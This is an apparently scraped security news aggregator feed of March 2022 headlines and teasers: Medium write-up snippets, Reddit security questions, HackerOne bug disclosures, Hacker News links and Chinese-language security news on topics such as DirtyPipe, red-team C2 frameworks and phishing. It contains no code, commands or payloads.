Steel Mountain is a TryHackMe room that sports a Mr. Robot theme. It is great for those into hacking shows an new to the scene! Continue reading on InfoSec Write-ups »

No content preview

Steel Mountain is a TryHackMe room that sports a Mr. Robot theme. It is great for those into hacking shows an new to the scene! Continue reading on InfoSec Write-ups »

Reddit disclosed a bug submitted by ahacker1: https://hackerone.com/reports/1504410 - Bounty: $6000

8x8 disclosed a bug submitted by ig420_vrush: https://hackerone.com/reports/1467046

Hello all, today’s write up is about how I chained IDOR with BAC to read any users confidential reports on a public domain (we will call… Continue reading on Medium »

So, today I am going to teach you about a cool and interesting way of bypassing the token protection used against CSRF attacks by finding… Continue reading on Medium »

DeNet users can benefit while just exploring the ecosystem: perform tasks and simply check-in the app. Continue reading on DeNet | DFILE »

The Nexus Mutual trial bug bounty matching program has just provided its first matching payout as part of its partnership with Immunefi: a… Continue reading on Immunefi »

submitted by /u/klausagnoletti [link] [comments]

Hello. Soon I start a support engineer job making 60k. Can I get a security analyst job after with the right certifications? Should I look for an NOC Job or something similar. Will that make at least 60k. What should I do? submitted by /u/throwaway_69333 [link] [comments]

So is there a way to increase the range of my awus1900 ? the only way for me to connect to a wifi far away is to throw it out the window like literally XD i was thinking like an bigger antenna for it if that would work, it already has very good range but i find that it cant connect to wifis even tho it sees them if they are like 50meters away tried putting it up on the roof but the range was better on the ground with all the buildings blocking it for some reason well i have no idea how this works so thats why im asking submitted by /u/Y0SH1zzzz [link] [comments]

Hi there, I never had experience with Google Cloud Platform. There is a possibility to make fast audit of: Publicly exposed GCP hosts; GCP permissions for assigning external IP; GCP firewall rules For all projects (I have 40 projects) in organization? submitted by /u/athanielx [link] [comments]

Hey, some websites I've visited asks for permission to run a script called ????.com/remote_control.php, it gets blocked by NoScript. Wondering if this is a common script used in video streaming or if it is as malicious as it sounds? submitted by /u/Pollyypop [link] [comments]

Hi Guys, We're looking to deploy Alienvault OSSIM in our environment as a SIEM monitoring tool. I have reviewed this with my team and the major concern we have is whether Alienvaul uploads any of our data into the cloud and what exact data do they upload but I can't seem to find any resources online that explicitly state that. I was wondering if anyone here has any ideas/knowledge on this? Also happy if anyone has any suggestions on other free and open-source SIEM tools that can be used. submitted by /u/thetayoo [link] [comments]

Hey guys.. So... I would like to ask you guys a couple of things as this is gonna be a very new topic and a new chapter for me in my life. I am 27 y/o knows batxhit about software/coding/development etc. I am always smart when it comes to the hardware side of computers and mobile devices. Always find the fixes around and get the thing up and running. However, I want to get into EH or a related field Anyways, I have been in customer service for the past 7 years and that was because I was not able to pursue my dream in IT as I was broke T_T. But now I got the chance of either shifting to another country and learning and finding a job or staying here and finding a job.. So I would like to ask a few couples of questions from you guys about how tough and how badly gonna it affect me as it's a whole next level chapter for me. Note that, I am bad at maths. (like i never learnt it in advance level) What is the study path? What's the best country to shift to for studies? (Thinking of Canada/US/UK) Is it necessary for me to start from scratch like doing a certificate > diploma > degree > masters or whatever? Sites/platforms where I could study things related to the field? How badly is it going to affect me with the switch since it is all new? What are the pros and cons of getting into this field? Any other advice or suggestions that comes to your head. :) Edit : One more point I would like to add after seeing the comment from this guy; What's the study path and career path for Hardware hacking? Thank you so much! Love you all <3 submitted by /u/PapadumSriLanka [link] [comments]

Hello AskNetsec, I am trying to run a CIS L1 Compliance scan on my Microsoft Windows Server 2012 R2 Datacenter, and Microsoft Windows Server 2016 Datacenter though I keep getting no results. When I run a Debug scan it says the following: "Nessus has not identified that the chosen audit applies to the target device." It might be the case, though I am unsure as to what CIS scan to use instead. I would appreciate your help on this case. Thank you in advance. ________________________________________________________________________ Device full name, OS and version: "Mircrosoft Windows Server 2012 R2 Datacenter 6.3.9600" Chosen CIS: "Cis Windows Server 2012 DC L1 v2.2.0" And: "Cis Windows Server 2012 R2 DC L1 v2.5.0" _________________________________________________________________________ Device full name, OS and version: "Mircrosoft Windows Server 2016 Datacenter" Chosen CIS: "Cis Windows Server 2016 DC L1 v1.3.0" submitted by /u/Gabbana2 [link] [comments]

I was advised by a reply in r/AskComputerScience to post here, so here it is. ​ Hi I was on a call with someone on Discord who I didn't know on a personal level and they told me some information about myself that is not public anywhere e.g. my full name, address etc (my Discord also is not linked to anything except my Steam account). I was wondering if anyone has any insight on how they managed this. It has quite shook me up as I have never had this happen to me before as I am as careful as I can be with what information I give out online and always have been. Thanks submitted by /u/Confident_Lobster180 [link] [comments]

I have seen articles claiming that the Dirty Pipe vulnerability could cause security issues and even root access on Android devices with the vulnerable kernel version. Can you explain how this would happen, as I presume each applications is isolated through virtualization? Comments URL: https://news.ycombinator.com/item?id=30629680 Points: 2 # Comments: 1

submitted by /u/SCI_Rusher [link] [comments]

使用 CodeQL 分析 Dubbo RCE by ourren 基于依赖性分析的软件供应链评估指标对预测npm包的流行程度变化 by ourren 更多最新文章，请访问SecWiki

使用 CodeQL 分析 Dubbo RCE by ourren 基于依赖性分析的软件供应链评估指标对预测npm包的流行程度变化 by ourren 更多最新文章，请访问SecWiki

“A Penetration Test is a technical assessment designed to achieve a specific goal.” Continue reading on Faraday »

Initially, we conduct passive and active information gathering from publicly available sources to analyze which information is valuable… Continue reading on Medium »

Why Do I use VBA? Continue reading on Medium »

Reflective DLL injection is a code injection technique that loads into a target process from memory. Reflective DLL injection is… Continue reading on Medium »

submitted by /u/pat_ventuzelo [link] [comments]

最近在学习K8S相关云原生技术，因为工作中正好接触到，便一直想找个机会深入学习一下这个方向的利用与防御，于是便有了这篇文章

此次监测到的大规模网络攻击事件，战术手段和攻击发动方式历史鲜有，绿盟科技天元实验室对此次网络攻击进行了详细的技战术研判分析。

数说CIS 2021大会春日版，我们用数据呈现答案。

多家俄罗斯政府网站遭到供应链攻击一些俄罗斯联邦机构的网站遭遇了供应链攻击，攻击者破坏了一些政府机构用来跟踪访问者数量的统计工具。

3月10日上午，CIS2021 DevSecOps应用与技术专场在FreeBuf官网全程直播，与万千网友共享，一同欣赏精彩的议题。

安全人员发现了一种新方法，可以绕过现有的基于硬件的防御措施，在英特尔、AMD和ARM的计算机处理器中进行推测执行。

上一篇文章《App合规实践3000问》发出后得到了大家的热烈反响，盼望着，盼望着，我们带着合规实践3000问第二篇大步走来了。

我们从研究进展、国家竞争力和资金方面介绍了我们对研究集群中所有论文的研究结果。我们希望通过这些分析，发现这些方法的当前和预期科研进展，判断哪个国家处于领先地位以及这项研究的主要资金来源。

俄乌冲突加剧，黑客团队选边加入。2月27日Conti 勒索软件组织的内部数据遭到大量泄露，从聊天记录到疑似成员身份被曝光。

数据安全论坛深入探讨最新的数据安全保护技术、最佳的运营体系。

近期，网络安全公司Binarly研究人员发现16个影响惠普企业设备的统一可扩展固件接口高危漏洞。

随着汽车联网率的不断提升，预计未来此类安全问题将更加突出。

Hello all. Had a question, I've been looking for a internship in Digital Forensics. Any suggestions, been looking everywhere. Just want to get my foot in the door. Or anyone that can mentor me. I'm in the USA. submitted by /u/Sudden_Ad9859 [link] [comments]

As the title suggest, what are people using/doing to collect O365 mailboxes that is not using the Microsoft Compliance eDiscovey portal. aka Nuix Workstation (GraphAPI), MailStore Client, so on so forth. Any information on pro's and con's for the method you use and any possible hiccups you have found during the course of using these apps. submitted by /u/Phorc3 [link] [comments]

译者：知道创宇404实验室翻译组 原文链接:https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/ 2022年初，CrowdStrike Intelligence 和 CrowdStrike Services 调查了一起事件，在这起事件中，PROPHET SPIDER（先知蜘蛛） 利用了影响 Ci...

译者：知道创宇404实验室翻译组 原文链接:https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/ 2022年初，CrowdStrike Intelligence 和 CrowdStrike Services 调查了一起事件，在这起事件中，PROPHET SPIDER（先知蜘蛛） 利用了影响 Ci...

It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts… Continue reading on Medium »

Eight resources to help you on your bug bounty journey Continue reading on Medium »

Sqlmap : Continue reading on Medium »

Hello Hackers, Continue reading on Medium »

This article will provide an overview of exploit development, with a focus on creating Simple Buffer Overflow exploits. I’ll try to keep… Continue reading on Medium »

Before diving into this, it would be great to note that your programming of choice will much depend on the type of system you are… Continue reading on Medium »

These are the basics that every hacker should know before even trying to hack. Once you have a good grasp on everything in this section… Continue reading on Medium »

Hii, So I just graduated 2 months ago. I did one interview with a super cool guy in a cyber security company for a infosec job. He helped me a lot and liked the way i think although i had many shortcomings. He told me to study network+ and eLearnsecurity web penetration. And to keep practicing on hackthebox. Then interview again The problem is that i have a military service in 4 months,and it’s obligated. Currently i am studying Mike Myers on Udemy for networks+ i read some refrence books sometimes. And when i finish it i will start building my own network lab on gns3. For the practical side i am practicing on hackthebox,just ranked from noob to script kiddie. I still read writeups a lot and get stuck after i find a vulnerability or sometimes even at enumeration. My question is that,did you ever grind and work hard to achieve bigger outcomes in shorter time? I feel like i should study more ,i mean like i should stay up all night 2 days a week to finish all of that . And i feel like i should spend almost all of my day hacking. Sure i can go out for an hour or two ,but that is that. I fear i will have a burnout but i also fear that i will keep learning basic stuff and take me forever to land a job. I want to be a pro and i know it’s fucking hard but this is my passion since i used to create RATS during high school. I feel i should give it everything i have. I am introvert with almost no friends anyways so why not ? is grinding mindset useful here? submitted by /u/Ramseesthe4th [link] [comments]

Hi there, Usually I'm very vigilant and can easily spot most net security scams and am educating others on how to avoid them. However at one of my jobs I've been waiting on someone to send me a report for a few weeks now and when an e-mail came up today on my work e-mail that looked to be that report, I finally fell for a viral e-mail. Basically the report was on a spreadsheet that I downloaded on the email through Thunderbird. It said that I needed to enable editing or press the view in browser button. This didn't make any sense to me and there was no "enable editing" thing that it mentioned, so that did ring alarm bells, but because I was waiting on a similar report from my upper manager, I ignored that and pressed the view in browser button. Now I'm not sure if this was prompted by my…

Tracking Sec+ as a foundational certification but what additional certifications are valuable to have when seeking employment in the vulnerability management field? submitted by /u/5Crabby1s [link] [comments]

I have taken over a 15 segment switch network that has been neglected in the use of best practices for many years. I have migrated from telnet to ssh, local logins to RADIUS, and so on. The only push back from my coworkers is the users and passwords for SNMPv3. They want each segment have it own user and password, i.e. admin1 password1 for site 1, user2 password2 for site 2. We do this for the local passwords in case the site can't reach the RADIUS server. I do not care per say but I can't find any useful information on this particular topic and the monitoring systems we use make it difficult to set up SNMPv3 alone and it goes down hill from there when setting up multiple users and passwords. In addition, we only use SNMP for monitoring. Can anyone direct me to some good information on this topic or if the can take a moment of their time to explain it here? - Thank you in advance submitted by /u/NetworkRex [link] [comments]

Christo Grozev, leader of Bellingcat, claims the Russian military communication system Quartz (or Era) requires UMTS (3G) bandwidth in order to work. Or at the very least, I assume it's the bandwidth requirement which makes GSM (2G) insufficient. https://twitter.com/christogrozev/status/1500978613113524229?s=20&t=coMiAhwmqZQY5Wh60W9h4A I would have guessed Russian military phones used familiar protocols from the good old TLS suite. I.e. RSA/ECDSA for key exchange, AES for symmetric keys, and pre-installed FSB root CAs and individual client certs. Do you have any hypothesis on what design Quartz could have to make GSM bandwidth insufficient? Allegedly, two Russian operatives had to resort to unprotected GSM for a phone call. How is it possible that their encryption suite creates a so heavy data overhead? Do you have other hypotheses, unrelated to bandwidth requirements? submitted by /u/engineerL [link] [comments]

Hi everyone! I'm a 23 year old Web Dev (working for 3 years). Few mouth ago I decided that I wanted to change the direction of my career and get into cyber security. My ultimate goal or a dream job in security would be probably to become a penetration tester that works with a team of experts on getting into businesses through the network vunrebilities, services misconfiguration or physically by phishing, social engineering and trying to get in the building (of course legally) I recon it's a very specialised job and definitely not an entry level but I think it's important to mention the end goal to get the whole picture. I researched a lot about becoming a pentester. I spend my time on TryHackMe as well as rooted some retired machines on HackTheBox of course using Kali, yet, I feel I lack A LOT of knowledge and credibility, so here lies my problem. I fell into a rabbit hole of googling "which cert is the best", "how to become X", "best way to Y". So rather than digging deeper and deeper I figured I'll just ask my own questions. Of course, what certs should I get? OSCP is an obvious answer, but I don't feel like I'm ready, also I never got a cert in my life AND it's pretty expensive (I'm not even gonna mention SANS) Sec+ and Net+ are great intro certs but they don't really help with HR and I'm not sure if my web experience is enough for me. I feel like a have an okay grasp on network and security concepts. eJPT and eCCP learn you a lot, but are even less recognized by HR than CompTIA ones Isn't it better to take a step back and first try to become a SOC or sysadmin? Preferably Linux sysadmin Should I just concentrate on HTB, start a blog, get a PEN-200 and push for OSCP? Isn't it too risky? PS. Im planing on moving to Germany so I also spend time learning the language and I have 7 mouth before a move out. I set myself a goal to get my Netsec job there. I hope what I said makes sense. submitted by /u/Anvvir [link] [comments]

Hey folks, I want to know exactly the definition and I'll tell you why it's confusing me. Here are some cases: 1. I sent a file that is actually an endless "while" loop. This means Dos attack is every way of denying service by making the server use too many resources. 2. I sent a file that actually stops all the services/processes every five seconds. This means DoS attack is actually every way of denying a service. 3. I just sending a lot of ethernet frames in different ways (ping, HTTP, whatever). This means Dos attack is every way of denying a service only by massive requests amount. ** I know it's kind of ridiculous, but if it's actually any way of denying service, would you also consider someone that physically disconnected the server cables as Dos attack? ** If the definition is number 1, 2 machines that sent the same file - considered already as DDoS? Thanks! ​ BTW, is there an official list of the most common Dos/DDos attacks types in the last years? submitted by /u/Webly99 [link] [comments]

Who are the appropriate personnel to include in a threat model from a security standpoint? Security Architects? Engineers? SOC analysts?? Vulnerability management personnel? Compliance? submitted by /u/bankster24 [link] [comments]

Hello, I am not in cyber however I am developing an org structure as part of my school assignment. The roles I came up with that are part of driving the RBAC implementation are: Role Dev Lead, Role Eng. Lead, Role Decomm. Lead, Role Maint. Lead and Auditor Lead. Are they close to RL roles? Thanks! submitted by /u/Hav0c_wreack3r [link] [comments]

curl disclosed a bug submitted by shobhit2401200: https://hackerone.com/reports/1485379

curl disclosed a bug submitted by eliasknudsen: https://hackerone.com/reports/1468962

curl disclosed a bug submitted by luminixaaron: https://hackerone.com/reports/1463013

Krisp disclosed a bug submitted by mrirfan__07: https://hackerone.com/reports/1444031

Krisp disclosed a bug submitted by blackxxhat: https://hackerone.com/reports/1439025

Equifax disclosed a bug submitted by miguel_santareno: https://hackerone.com/reports/1463638

FetLife disclosed a bug submitted by trieulieuf9: https://hackerone.com/reports/1460373 - Bounty: $100

Nextcloud disclosed a bug submitted by fancycode: https://hackerone.com/reports/1261225 - Bounty: $100

The rules of the trade Continue reading on Medium »

Hace unos días un conocido me pasó esto: @VenAppSocial. Al ingresar al perfil lo primero que vi fue la descripción: “¡La nueva red social… Continue reading on Medium »

Third-party risk management (TPRM) is a type of risk management that focuses on identifying and mitigating risks associated with the usage… Continue reading on CodeX »

BYOD, or Bring Your Own Device, is a growing trend in which employees use their personal devices for work. Companies that implement BYOD… Continue reading on CodeX »

submitted by /u/LordAlfredo [link] [comments]

submitted by /u/SonarPaul [link] [comments]

submitted by /u/Martypx00 [link] [comments]

submitted by /u/marcusfrex [link] [comments]

Introduction CVE 2022-0847 is a privilege escalation vulnerability discovered by Max Kellerman present in Linux Kernel itself post versions 5.8 which allows overwriting data in The post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.

Introduction CVE 2022-0847 is a privilege escalation vulnerability discovered by Max Kellerman present in Linux Kernel itself post versions 5.8 which allows overwriting data in The post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.

Rethinking the way that we approach phishing as a component of red team operations Continue reading on Posts By SpecterOps Team Members »

用户视角下的网络威胁情报共享平台 by ourren CodeBERT: A Pre-Trained Model for Programming and Natural Languages by ourren 浅谈一下，Linux中基于eBPF的恶意利用与检测机制 by ourren 安全的未来是上下文 by ourren 更多最新文章，请访问SecWiki

用户视角下的网络威胁情报共享平台 by ourren CodeBERT: A Pre-Trained Model for Programming and Natural Languages by ourren 浅谈一下，Linux中基于eBPF的恶意利用与检测机制 by ourren 安全的未来是上下文 by ourren 更多最新文章，请访问SecWiki

There are stark differences between how to manage security policies for on-premises network environments and those that are 100% cloud-based. But many companies continue to struggle with those differences and have experienced plenty of pain as a result. It’s a challenge Rich Mogull has spent years trying to help companies navigate. Mogull, CISO at Firemon, […] The post The Unique Challenges of Companies Born in the Cloud appeared first on Security Weekly.

submitted by /u/MiguelHzBz [link] [comments]

Article URL: https://twitter.com/Yanir_/status/1500863874412724229 Comments URL: https://news.ycombinator.com/item?id=30614889 Points: 5 # Comments: 0

Article URL: https://www.armis.com/research/tlstorm/ Comments URL: https://news.ycombinator.com/item?id=30612835 Points: 2 # Comments: 0

Every day, new challenges, attacks, and vulnerabilities are publicized. Just as attackers and the threat landscape are constantly changing, adapting, and evolving, so too must the Blue Teams and defenders who protect organizations against these threats. While the old adage may have been that attacks are rare and unlikely to happen, a new mentality of... The post Back to Basics: The TrustedSec Guide to Strong Cyber Hygiene appeared first on TrustedSec.

2021年全球遭受网络攻击的ICS设备比例略有增加，为39.6%，其中2021年下半年遭受网络攻击的比例仅为31.4%。

梆梆安全助力银行业保险业数字化转型

精彩不止今日，CIS直播间与大家相约明早9点30分，准时守候~

谷歌母公司Alphabet周二宣布，计划以约54亿美元收购网络安全公司Mandiant。如果交易达成，它将成为谷歌有史以来第二大收购案。

安全设备 1、防火墙

近期跟进的一组三个关键的零日漏洞TLSstorm可以让黑客从施耐德电气的子公司APC控制不间断电源(UPS)设备

信息收集在攻击和防御两端都是非常重要的一环，优质的信息收集成果是后续工作顺利展开的首要条件。

近日，微软发布 2022年3月 安全补丁，修复了针对 29 款微软产品的 71 个CVE漏洞 （其中不包括 21 个 Micros...

近日，微软发布 2022年3月 安全补丁，修复了针对 29 款微软产品的 71 个CVE漏洞 （其中不包括 21 个 Micros...

Hello redteamsec community, my company wants to enhance the actual security testing services from basic assessments and penetration tests to red team engagements. At the moment we are planning the Red Team Infrastructure and I am currently looking for the best pick of a C2 Framework. I checked out the following: - Covenenat - PoshC2 - Metasploit (if you can call it C2, you know what I mean) ​ Further on my list are: - Cobalt Strike - SilentTrinity - APfeil - FactionC2 - Merlin ​ What gives me a hard time is, how to decide on the framework we want to run? Thats why I ask you, what you guys recommend and WHY. Regards! submitted by /u/larryxt [link] [comments]

submitted by /u/dmchell [link] [comments]

Edit: After some further searching I had to make an edit, I'm sorry, the Full albums are unreliable for consistency, they are there but it's not guaranteed for every artist so please don't get your hopes up too high if looking for a specific album! The songs that are there are good quality though, that much I can guarantee from my searches! http://www.ashleecadell.com/xyzstorelibrary/ submitted by /u/migali [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

译者：知道创宇404实验室翻译组 原文链接：https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla 自网络钓鱼出现以来，欺诈性的付费账单一直是最常见的诱惑之一。通常的操作方法包括迎合接受者避免债务的愿望，尤其是在可能牵涉到商业利益的情况。 FortiGuard ...

译者：知道创宇404实验室翻译组 原文链接：https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla 自网络钓鱼出现以来，欺诈性的付费账单一直是最常见的诱惑之一。通常的操作方法包括迎合接受者避免债务的愿望，尤其是在可能牵涉到商业利益的情况。 FortiGuard ...

As in, if someone has access to your network via Ethernet does it have any extra security risks to your system compared to if they were connected via WiFi? I'm thinking it depends on the type of internet your connection uses, eg fiber, cable, DSL,etc submitted by /u/computerstuffs [link] [comments]

I'm already in a somewhat senior engineering role so I'm not forced to learn for school or to get a better job. I always want to keep driving myself to learn new things and stay on the cutting edge of infosec in order to both be more knowledgeable in my current role but also for my own curiosity. Balancing this with a full time+ career as well as family and social obligations feels exhausting sometimes. What do you guys do to stay motivated? submitted by /u/Deliveranc3 [link] [comments]

Be it for threat hunting or making sure everything's hunky dory, for reporting activity or predicting trends, what do you like to see graphed, and what insights does it give you? I'm looking for more tools for the toolbelt. submitted by /u/Outside-Log-2104 [link] [comments]

My SSD is low capacity, how to open ? submitted by /u/mefumetsub [link] [comments]

I have some old sites I run for friends and family on a shared small webhosting place that has a cPanel Linux server. I don't use cPanel for much and don't know all that much about it. I forgot about a WordPress site I was running and someone got it and was able to then compromise the cPanel login. Shame on me for letting a WordPress site sit vulnerable, I know. But it happens. They were then able to get into cPanel. So they loaded up a few WordPress sites with phishing site stuff, and also sent out some phishing emails, all pretty standard stuff I've seen before. Lots of base64 php files and other standard WP hack php stuff. Something I hadn't seen before happened when I SSHed into the server, and I'm not sure what it was or what they had running. I logged in and immediately saw an error that I don't exactly remember, but it was a normal looking error about "no shell", I couldn't do anything, it was just an empty shell. None of the standard commands worked. So I logged in, and something caught my session and had me in... I don't know what. I did ctrl-d or maybe ctrl-c and was back to the normal shell on that server. Things looked normal again. I wasn't even sure I was on the server at first, so I didn't capture the exact errors I was seeing before the return to normal. One thing that I did notice was the title of my session in iterm2 had changed to what looked like a list of files on the server with ^M in between the names. So, something like access-logs^M^application-backups^M^dbs^M^ and so on, all the root level directories. By the time I gave it any thought, I had already cleaned up most everything and killed a couple of running processes. Any idea what I got into when I logged in to there? submitted by /u/blakesterz [link] [comments]

I currently have a Ruby on Rails server that does server-side rendering, and it calls one of my microservice. I have Basic Auth implemented for that microservice, but I wonder if it is possible for someone to found where is that microservice and the header/body of my request? Can that be safely prevented by HTTPS? submitted by /u/hksparrowboy [link] [comments]

We got a report for the vulnerabilities across a system. The findings showed around 40 high vulnerabilities, 150 medium vulnerabilities and 300 low vulnerabilities. The problem I have is how to visually get this across to management as I can make it a simple pie chart but because of the 300 low vulnerabilities dwarfing the 40 high vulnerabilities it doesn't come across particularly well. Does anyone have any ideas? Also we've created a calculation to plot the average score by using cumulative total of all CVSS scores divided by the number of findings and because there's so many low findings with low scores this is causing it to look better than it is as having around 40 high vulnerabilities isn't good. Does anyone have any sort of formulas or calculations I can use to get this risk score across better? Thanks submitted by /u/nimdroid [link] [comments]

OK so the basics are that we're looking for a tool that we can use to group together and manage vulnerabilities found from multiple other sources/scanners (preferably open sorce) We're not looking for anything that will run its own scans; rather, manages already found reports... if that makes sense. At the moment, we're currently using an Excel spreadsheet to group everything together. If anyone has any suggestions that would be a life saver, thank you in advance. submitted by /u/Autumn-shadow [link] [comments]

Hello, My friend worked in Blueteam domain as Network security mostly on Firewalls, WAF, IPS etc. solutions. He lost his job earlier and saw an opening at Sandvine which he applied and got a call for interview but he is not sure what type of questions expected. Appreciate if anyone can advise what should he study and what type of questions to be expected and response. TIA submitted by /u/junostik [link] [comments]

Hey all, just started a job and I have to run some tests on use cases/artifacts/evidence scenarios. The company wants me to enter their IT Security Labs, and check items out of date such as routers, where firewalls are located, etc. There are 110 controls and I need to align a majority of the company's internal systems and processes with NIST 800-171 for CMMC. What is the best way to do this? submitted by /u/LordCommanderTaurusG [link] [comments]

Stripe disclosed a bug submitted by bubbounty: https://hackerone.com/reports/1066203 - Bounty: $2500

Nextcloud disclosed a bug submitted by ctulhu: https://hackerone.com/reports/1337178 - Bounty: $100

MTN Group disclosed a bug submitted by pudsec: https://hackerone.com/reports/1049402

I had to add my personal info to a phonebook, which I don’t like, so I took down the server ;) Continue reading on InfoSec Write-ups »

Greetings from Kerkoporta to all, Continue reading on Medium »

File uploading attack Continue reading on Medium »

Looking through the google cloud console for products “https://console.cloud.google.com” to look for bugs i came across VMware Engine. Continue reading on Medium »

Hello Hackers and Security community. I’m going to share how I’m able find the bug. Continue reading on Medium »

Hi everyone, Continue reading on Medium »

Blind XSS is a relatively easy bug to find with the availability of tools like XSS-Hunter and Burp collaborator. Continue reading on Medium »

Here are my bounty bug findings regarding Misconfiguration OAuth Lead Account takeover Part 2 Continue reading on Medium »

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to tell you about an event that happened to me while I was… Continue reading on Medium »

Hi guys in this tutorial you will learn how to create python script for finding username of admin panel of target wordpress website and… Continue reading on Medium »

submitted by /u/smaury [link] [comments]

submitted by /u/eberkut [link] [comments]

submitted by /u/genemcculley [link] [comments]

submitted by /u/AlexForster [link] [comments]

submitted by /u/Subterminal303 [link] [comments]

submitted by /u/YuvalAvra [link] [comments]

submitted by /u/nathanAbejeM [link] [comments]

Welcome to the 3rd edition of the discursus Protest Analytics newsletter. Continue reading on discursus.io »

Sumbubotol.com, November 27, 2019 — Kabar gembira hari ini. Sumbubotol.com mengucapkan selamat kepada Submarine Amsterdam yang berhasil… Continue reading on Sumbu Botol »

Article URL: https://www.phoronix.com/scan.php?page=news_item&px=BHI-Spectre-Vulnerability Comments URL: https://news.ycombinator.com/item?id=30603762 Points: 5 # Comments: 0

Article URL: https://slashdot.org Comments URL: https://news.ycombinator.com/item?id=30601465 Points: 1 # Comments: 0

Article URL: https://arstechnica.com/information-technology/2022/03/linux-has-been-bitten-by-its-most-high-severity-vulnerability-in-years/ Comments URL: https://news.ycombinator.com/item?id=30596044 Points: 39 # Comments: 10

近日，网络上出现 Linux 下 DirtyPipe 本地权限提升漏洞，任何非特权本地用户可通过此漏洞获取root权限。目...

近日，网络上出现 Linux 下 DirtyPipe 本地权限提升漏洞，任何非特权本地用户可通过此漏洞获取root权限。目...

Article URL: https://blog.cloudflare.com/cve-2022-26143/ Comments URL: https://news.ycombinator.com/item?id=30602912 Points: 4 # Comments: 0

Article URL: https://blog.rust-lang.org/2022/03/08/cve-2022-24713.html Comments URL: https://news.ycombinator.com/item?id=30600044 Points: 4 # Comments: 0

This blogpost will describe how Transparency, Consent, and Control (TCC) affects extended attributes on macOS Continue reading on Medium »

I am just curious about how females go along in this field as I am currently doing a BSc in Business Management and Information systems and want to be a digital forensic investigator. submitted by /u/SkillKiller3010 [link] [comments]

Hey everybody, I was lucky enough to be considered for a digital forensics internship position with my state's primary forensic agency. I've worked practice cases at my university using FTK and AXIOM, and I have research experience making a forensic image and working a case from beginning to end. Could anyone provide any tips to help me prepare for the interview? I have an incredible opportunity, and I want to make the most of it that I can. submitted by /u/Tuuin [link] [comments]

用户层下API的逆向分析及重构 by ourren 符号和解释 by ourren ROME改造计划 by ourren 记一次自建 Gitea + Drone 实例被挖矿的经历 by ourren 容器安全在野攻击调查 by ourren ATT&CK 在野数据分析 by Avenger 更多最新文章，请访问SecWiki

用户层下API的逆向分析及重构 by ourren 符号和解释 by ourren ROME改造计划 by ourren 记一次自建 Gitea + Drone 实例被挖矿的经历 by ourren 容器安全在野攻击调查 by ourren ATT&CK 在野数据分析 by Avenger 更多最新文章，请访问SecWiki

Introduction When doing an Internal Penetration Test, it is not uncommon to run BloodHound at one point or another. In case you are not familiar with BloodHound, it’s a tool that automatically fires off a bunch of LDAP queries and Windows API calls to collect various data in an Active Directory environment. Data can range... The post Expanding the Hound: Introducing Plaintext Field to Compromised Accounts appeared first on TrustedSec.

A supply chain attack, also known as a value-chain attack or a third-party attack, occurs when someone attacks an organization’s system… Continue reading on InfoSec Write-ups »

A supply chain attack, also known as a value-chain attack or a third-party attack, occurs when someone attacks an organization’s system… Continue reading on InfoSec Write-ups »

A supply chain attack, also known as a value-chain attack or a third-party attack, occurs when someone attacks an organization’s system… Continue reading on InfoSec Write-ups »

We disclosed several GKE Autopilot vulnerabilities and attack techniques to Google. The issues are now fixed – we provide a technical analysis. The post Container Escape to Shadow Admin: GKE Autopilot Vulnerabilities appeared first on Unit42.

SharkBot是一种银行木马，它能够绕过多因素身份验证机制窃取银行账户凭据。

Alphabet股东起诉谷歌，由于谷歌故意隐瞒安全漏洞，导致用户私人数据泄露。2018年10月，有美国媒体报道称，该事件导致谷歌+近50万用户的个人数据泄露。

这是数字时代首次爆发的，多个国家级黑客力量入局，且以国家为打击目标，破坏核心关键基础设施的全球级黑客网络战！ 【导语】2月24日，乌克兰与俄罗斯之间

云原生安全相关的公司雨后春笋般建立起来，各个大云厂商也积极建立自己云原生的安全能力，保护云上客户的资产。

自新冠疫情以来，网络犯罪一直呈上升趋势。专注网络安全的锐成信息在此搜集了2021年最值得注意的网络犯罪统计数据以及行业专家对2022年的互联网安全趋势预测。</

3月9-10日上午9点30分，锁定CIS2021 Spring·春日版官网，超棒的议题、超nice的有奖活动正等待着您。

从传统的运营商、能源、医疗、金融等行业，到新兴的互联网行业，都掀起了数据安全建设的浪潮。

「用梦想和勇气去创造，用信念和努力去证明。」 大家好，我是阿杨，自学渗透测试入门安全圈，目前是The loner安全团队的全职挖洞选手，擅长挖掘业务逻辑漏洞，并收获丰厚的奖金激励。

近日，Mozilla对火狐(Firefox)网络浏览器进行了带外安全更新，其中包含了两个影响很大的安全漏洞。

俄罗斯媒体遭受网络攻击，出现乌克兰境内的战争画面。

在平时做项目的时候，每次开启虚拟机使用会很不方便，配置低的电脑后台开多了还会出现卡顿现象。主要还是在本地安装使用更加的方便快捷，提高了效率。也可以部署在vps等，方便对内网进行渗透。

截至2022年1月，FBI已经确定，在受攻击的10个关键基础设施中，至少有52个关键基础设施被入侵，涉及关键制造业、能源、金融服务、政府和信息技术领域等领域。

三星于周一证实了其网络遭到了黑客入侵，包括Galaxy手机的源代码在内的机密信息被窃取。

3月7日，流行的加密货币交易所 Coinbase宣布，正在封锁25000多个与俄罗斯自然人和实体相关的加密货币地址。

submitted by /u/Yankeeslv [link] [comments]

Red Teams use a comprehensive and complete toolkit to expose different platforms and get accurate results when reporting failures, data… Continue reading on Medium »

Phishing is one of the most serious threats in the digital world. Phishing makes people fool. Phishing email always looks like same as the… Continue reading on Medium »

When I was singing up for spectrum they asked for my SSN, I gave to them since. How scared am I? submitted by /u/Empty-Ad1458 [link] [comments]

Years ago I made some TrueCrypt volumes and forgot about them. I have now found them and forgotten some of the password. I know what the first half was and what some of the second half was but don't know where I put special characters or capital letters. I'm not good with git hub so is there a non-Github program that will let me enter the known parts, I can tell it to try every possible character in certain spaces, and only lower case and uppercase of certain letters i.e. m or M? submitted by /u/TerribleFruit [link] [comments]

